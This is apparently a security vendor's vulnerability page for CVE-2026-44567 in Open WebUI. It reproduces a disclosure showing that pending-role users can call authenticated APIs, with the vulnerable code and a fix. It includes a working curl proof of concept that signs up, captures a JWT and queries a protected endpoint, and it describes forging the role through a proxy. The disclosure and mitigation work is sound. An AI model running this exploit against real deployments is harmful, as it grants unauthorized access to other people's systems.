CVE-2026-44567 — open-webui
HIGHCVE-2026-44567 is a high-severity (CVSS 7.3) CWE-602 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: Open WebUI Improper Authorization Control
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44567.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44567 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation
Vulnerability Details
| # | Field | Value |
|---|---|---|
| 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. |
| 2 | Date Submitted | June 11, 2024 |
| 3 | Title | Open WebUI Improper Authorization Control |
| 5 | Affected Vendor | Open WebUI |
| 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) |
| 7 | Affected Version(s) | 0.1.105 |
| 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) |
| 9 | Vector | HTTP web interface |
| 10 | CWE | 285 Improper Authorization |
4. High-level Summary
There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.
11. Technical Analysis
The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.
Request
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60
{
"name": "",
"email": "[email protected]",
"password": "a"
}
Response
HTTP/1.1 200 OK
...
{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "[email protected]",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}
An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.
With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.
Request
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
HTTP/1.1 200 OK
...
{
"models": [
{
"name": "ollama.com/emsi/mixtral-8x22b:latest",
"model": "ollama.com/emsi/mixtral-8x22b:latest",
"modified_at": "2024-04-12T17:27:51.479356401-04:00",
"size": 79509285991,
"digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
"details": {
"parent_model": "",
"format": "gguf",
"family": "llama",
"families": ["llama"],
"parameter_size": "141B",
"quantization_level": "Q4_0"
},
"urls": [0]
},
...
]
}
The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180
As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.
@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
url_idx: Optional[int] = None, user=Depends(get_current_user)
):
if url_idx == None:
models = await get_all_models()
if app.state.MODEL_FILTER_ENABLED:
if user.role == "user":
models["models"] = list(
filter(
lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
models["models"],
)
)
return models
return models
This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.
The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here:
https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97
def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
# auth by api key
if auth_token.credentials.startswith("sk-"):
return get_current_user_by_api_key(auth_token.credentials)
# auth by jwt token
data = decode_token(auth_token.credentials)
if data != None and "id" in data:
user = Users.get_user_by_id(data["id"])
if user is None:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.INVALID_TOKEN,
)
return user
else:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.
12. Proof-of-Concept
First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:
curl -s -X $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
$'https://openwebui.example.com/ollama/api/tags'
The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.
Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.
export JWT=$(curl -s -X POST \
-H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
-H 'Content-Type: application/json' \
--data '{"name":"","email":"[email protected]","password":"a"}' \
'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')
curl -v $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
-H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'https://openwebui.example.com/ollama/api/tags'
Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.
13. Mitigation Recommendation
The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.
def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
return user
Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.1.124pip install --upgrade 'open-webui==0.1.124' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.1.124 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44567 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44567 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44567. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44567 in your dependencies?
O3 Security finds CVE-2026-44567 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.